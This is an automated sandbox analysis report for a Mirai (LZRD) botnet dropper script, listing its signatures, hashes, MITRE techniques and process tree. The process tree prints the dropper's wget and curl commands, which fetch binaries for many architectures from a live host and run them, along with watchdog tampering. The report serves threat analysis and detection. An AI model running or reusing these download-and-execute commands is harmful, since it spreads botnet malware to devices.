mirai | 4f1c0d593b90f06aadb41e43d72dabe8a57d52df99bdfbf67db6e2e3aecdfdcf

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-01-2025 21:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ohshit.sh
Size

3KB
MD5

d91a756fa0b51d26ca560e689c65f02a
SHA1

dca13e8c0ff369c8850b09e06eb9aecde38da7ad
SHA256

4f1c0d593b90f06aadb41e43d72dabe8a57d52df99bdfbf67db6e2e3aecdfdcf
SHA512

5386d2bb591a257c64e71563c16435bf9f606d813031417233700d22e0b31bad1f33f73ae7ef581033c3c1633ca9b897d162a64019fc415ba6d9505a7b7f8533

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
718	chmod
744	chmod
832	chmod
850	chmod
856	chmod
691	chmod
703	chmod
731	chmod
761	chmod
783	chmod
844	chmod
776	chmod
795	chmod
811	chmod
862	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/oqweoqeqq	692	oqweoqeqq
/tmp/oqweoqeqq	704	oqweoqeqq
/tmp/oqweoqeqq	720	oqweoqeqq
/tmp/oqweoqeqq	733	oqweoqeqq
/tmp/oqweoqeqq	745	oqweoqeqq
/tmp/oqweoqeqq	763	oqweoqeqq
/tmp/oqweoqeqq	777	oqweoqeqq
/tmp/oqweoqeqq	784	oqweoqeqq
/tmp/oqweoqeqq	796	oqweoqeqq
/tmp/oqweoqeqq	812	oqweoqeqq
/tmp/oqweoqeqq	833	oqweoqeqq
/tmp/oqweoqeqq	845	oqweoqeqq
/tmp/oqweoqeqq	851	oqweoqeqq
/tmp/oqweoqeqq	857	oqweoqeqq
/tmp/oqweoqeqq	863	oqweoqeqq

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	oqweoqeqq
File opened for modification	/dev/watchdog	oqweoqeqq
File opened for modification	/dev/misc/watchdog	oqweoqeqq
File opened for modification	/dev/watchdog	oqweoqeqq

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	oqweoqeqq
File opened for modification	/bin/watchdog	oqweoqeqq
File opened for modification	/sbin/watchdog	oqweoqeqq
File opened for modification	/bin/watchdog	oqweoqeqq

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/826/cmdline	oqweoqeqq
File opened for reading	/proc/860/cmdline	oqweoqeqq
File opened for reading	/proc/866/cmdline	oqweoqeqq
File opened for reading	/proc/self/exe	oqweoqeqq
File opened for reading	/proc/878/cmdline	oqweoqeqq
File opened for reading	/proc/887/cmdline	oqweoqeqq
File opened for reading	/proc/813/cmdline	oqweoqeqq
File opened for reading	/proc/837/cmdline	oqweoqeqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/618/cmdline	oqweoqeqq
File opened for reading	/proc/854/cmdline	oqweoqeqq
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/662/cmdline	oqweoqeqq
File opened for reading	/proc/665/cmdline	oqweoqeqq
File opened for reading	/proc/821/cmdline	oqweoqeqq
File opened for reading	/proc/876/cmdline	oqweoqeqq
File opened for reading	/proc/886/cmdline	oqweoqeqq
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/693/cmdline	oqweoqeqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/870/cmdline	oqweoqeqq
File opened for reading	/proc/663/cmdline	oqweoqeqq
File opened for reading	/proc/841/cmdline	oqweoqeqq
File opened for reading	/proc/762/cmdline	oqweoqeqq
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/618/cmdline	oqweoqeqq
File opened for reading	/proc/884/cmdline	oqweoqeqq
File opened for reading	/proc/661/cmdline	oqweoqeqq
File opened for reading	/proc/663/cmdline	oqweoqeqq
File opened for reading	/proc/880/cmdline	oqweoqeqq
File opened for reading	/proc/787/cmdline	oqweoqeqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	oqweoqeqq
File opened for reading	/proc/self/exe	oqweoqeqq
File opened for reading	/proc/868/cmdline	oqweoqeqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/814/cmdline	oqweoqeqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/426/cmdline	oqweoqeqq
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/665/cmdline	oqweoqeqq
File opened for reading	/proc/874/cmdline	oqweoqeqq
File opened for reading	/proc/882/cmdline	oqweoqeqq
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/787/cmdline	oqweoqeqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/835/cmdline	oqweoqeqq
File opened for reading	/proc/886/cmdline	oqweoqeqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/756/cmdline	oqweoqeqq
File opened for reading	/proc/464/cmdline	oqweoqeqq
File opened for reading	/proc/868/cmdline	oqweoqeqq
File opened for reading	/proc/655/cmdline	oqweoqeqq
File opened for reading	/proc/841/cmdline	oqweoqeqq
File opened for reading	/proc/878/cmdline	oqweoqeqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/855/cmdline	oqweoqeqq
File opened for reading	/proc/660/cmdline	oqweoqeqq
File opened for reading	/proc/662/cmdline	oqweoqeqq
File opened for reading	/proc/860/cmdline	oqweoqeqq

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
696	wget
700	curl
702	cat

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/uqwodquojqoqdo.arm5	curl
File opened for modification	/tmp/uqwodquojqoqdo.ppc	wget
File opened for modification	/tmp/uqwodquojqoqdo.spc	wget
File opened for modification	/tmp/uqwodquojqoqdo.spc	curl
File opened for modification	/tmp/uqwodquojqoqdo.m68k	curl
File opened for modification	/tmp/uqwodquojqoqdo.sh4	curl
File opened for modification	/tmp/uqwodquojqoqdo.mips	wget
File opened for modification	/tmp/uqwodquojqoqdo.arm6	curl
File opened for modification	/tmp/uqwodquojqoqdo.arm7	wget
File opened for modification	/tmp/uqwodquojqoqdo.sh4	wget
File opened for modification	/tmp/uqwodquojqoqdo.x86	wget
File opened for modification	/tmp/uqwodquojqoqdo.x86	curl
File opened for modification	/tmp/uqwodquojqoqdo.x86_64	curl
File opened for modification	/tmp/uqwodquojqoqdo.mpsl	wget
File opened for modification	/tmp/oqweoqeqq	ohshit.sh
File opened for modification	/tmp/uqwodquojqoqdo.arc	curl
File opened for modification	/tmp/uqwodquojqoqdo.arm	curl
File opened for modification	/tmp/uqwodquojqoqdo.m68k	wget
File opened for modification	/tmp/uqwodquojqoqdo.mips	curl
File opened for modification	/tmp/uqwodquojqoqdo.i468	curl
File opened for modification	/tmp/uqwodquojqoqdo.mpsl	curl
File opened for modification	/tmp/uqwodquojqoqdo.arm5	wget
File opened for modification	/tmp/uqwodquojqoqdo.arm7	curl
File opened for modification	/tmp/uqwodquojqoqdo.ppc	curl
File opened for modification	/tmp/uqwodquojqoqdo.arc	wget
File opened for modification	/tmp/uqwodquojqoqdo.i686	curl
File opened for modification	/tmp/uqwodquojqoqdo.arm	wget
File opened for modification	/tmp/uqwodquojqoqdo.arm6	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:663
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.x86
  2⤵
  - Writes file to tmp directory
  PID:671
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:680
- /bin/cat
  cat uqwodquojqoqdo.x86
  2⤵
  PID:689
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.x86
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:692
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:696
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:700
- /bin/cat
  cat uqwodquojqoqdo.mips
  2⤵
  - System Network Configuration Discovery
  PID:702
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.mips uqwodquojqoqdo.x86
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:704
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arc
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:707
- /bin/cat
  cat uqwodquojqoqdo.arc
  2⤵
  PID:716
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.mips uqwodquojqoqdo.x86
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:720
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.i468
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/cat
  cat uqwodquojqoqdo.i468
  2⤵
  PID:730
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.i468 uqwodquojqoqdo.mips uqwodquojqoqdo.x86
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:733
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.i686
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/cat
  cat uqwodquojqoqdo.i686
  2⤵
  PID:742
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.x86
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:745
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.x86_64
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/cat
  cat uqwodquojqoqdo.x86_64
  2⤵
  PID:759
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:763
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.mpsl
  2⤵
  - Writes file to tmp directory
  PID:765
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.mpsl
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:770
- /bin/cat
  cat uqwodquojqoqdo.mpsl
  2⤵
  PID:775
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:777
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm
  2⤵
  - Writes file to tmp directory
  PID:780
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/cat
  cat uqwodquojqoqdo.arm
  2⤵
  PID:782
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:784
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm5
  2⤵
  - Writes file to tmp directory
  PID:788
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/cat
  cat uqwodquojqoqdo.arm5
  2⤵
  PID:794
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:796
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm6
  2⤵
  - Writes file to tmp directory
  PID:797
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm6
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:803
- /bin/cat
  cat uqwodquojqoqdo.arm6
  2⤵
  PID:809
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  - Reads runtime system information
  PID:812
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm7
  2⤵
  - Writes file to tmp directory
  PID:814
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/cat
  cat uqwodquojqoqdo.arm7
  2⤵
  PID:831
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:833
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.ppc
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.ppc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:842
- /bin/cat
  cat uqwodquojqoqdo.ppc
  2⤵
  PID:843
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.ppc uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:845
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.spc
  2⤵
  - Writes file to tmp directory
  PID:847
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/cat
  cat uqwodquojqoqdo.spc
  2⤵
  PID:849
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.ppc uqwodquojqoqdo.spc uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:851
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.m68k
  2⤵
  - Writes file to tmp directory
  PID:853
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/cat
  cat uqwodquojqoqdo.m68k
  2⤵
  PID:855
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.m68k uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.ppc uqwodquojqoqdo.spc uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:857
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.sh4
  2⤵
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.sh4
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:860
- /bin/cat
  cat uqwodquojqoqdo.sh4
  2⤵
  PID:861
- /bin/chmod
  chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.m68k uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.ppc uqwodquojqoqdo.sh4 uqwodquojqoqdo.spc uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/oqweoqeqq
  ./oqweoqeqq
  2⤵
  - Executes dropped EXE
  PID:863

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/oqweoqeqq

Filesize
23KB

MD5
553fbff4e8c1e5b9468cc5d81f47f451

SHA1
4c65f38b9adca335e1185d23447bbb3e4b61dbc6

SHA256
1ee8b2996d1ceb800d962878c83e6bf8ef67f3ea1bcba0cba0d49b31b3596336

SHA512
d3f9c1494e85673583ab60f697395de05e200006f03b1bfacd7ef0e17488d09c81e908266f765bb7c84771cfb39957f66350509c9b566d5ea50130763deadf85

Download Submit
/tmp/oqweoqeqq

Filesize
105KB

MD5
8a0eb12f131a868513eacb61b4c8fb62

SHA1
fbac5d15efd4502f89b515693906d772f5711855

SHA256
4f54d6dc5fdca9535fc7ff25709e90936d1fb9ed6d52302bc5aab624ea4a6fed

SHA512
04e242e0d2d023f70ec1da3624d01054bbca46476463e4f0bba3ce738449c660edcd0753dc96a887f4e81bd3086b87253e2ecc02644e5afc9646f9da60c25a72

Download Submit
/tmp/oqweoqeqq

Filesize
227B

MD5
7aec1ea74a5502ca7b6c9047970a4c5c

SHA1
61c91074e6071c8a3bda8433d412eeead2843d78

SHA256
2ec2f59ef2aaaaaa0d7e8241aa00f54ff05f3cbb7a2d3544611e495b7e55c779

SHA512
9ce37859d0e886cfe84ca449cbfd7308a68cec348b01f60a15f3fd69ccb38c05857791a0441d3dec06d3db6872d7bbca823b9db93848534bae03be6e8d45b709

Download Submit
/tmp/oqweoqeqq

Filesize
227B

MD5
cfa7530bf969f685bd8b26dbf7518d77

SHA1
209b6a5988243b82d8fd0c8e6bc4452d0aa6140f

SHA256
69e43487c004f9d71ce95fefae25bd50b23c199bfe0d73e04a7b56d2e3327e20

SHA512
e92c83dd5112e9d8fa92919aeea85e8c3cc10e64901e207d326f9815fd665ca922494199f4f399b2040b8e62e0e3af00411cc759866735aa255cd04f67d3574c

Download Submit
/tmp/oqweoqeqq

Filesize
57KB

MD5
405f165092be3a00be30fc086d128883

SHA1
95a5dc07ff75bb2a545e0f64a5dba0f571f8336b

SHA256
067156679583ce84ad5e7329f087a7b3b27f15d69336135f992d03179c614947

SHA512
cf70bc7bd4ab0c7da644ed0742714e7ee292645ade1a090f4f763ff8d10d7cd71fa6b826487b33a906e7ec228876cbed5259aba20a3504adc377e77e705e499f

Download Submit
/tmp/uqwodquojqoqdo.x86

Filesize
20KB

MD5
313c4b235e0e62ca38eb04bfa7677e44

SHA1
c31d5d0c0fa4bfa4ea2837cede424504c68ccfd3

SHA256
dfd6f81327b03f5336895c6bed7bfff178a054eafef5637ccb74e7a0ac4ef4c4

SHA512
0bf52b087e48b6daac55f735ae5b5af7626322db3200e72c61755d6b80234c503a02f3e35b340b70d1731fdec2054f530251504dec55497ca5877f9233ff54ad

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads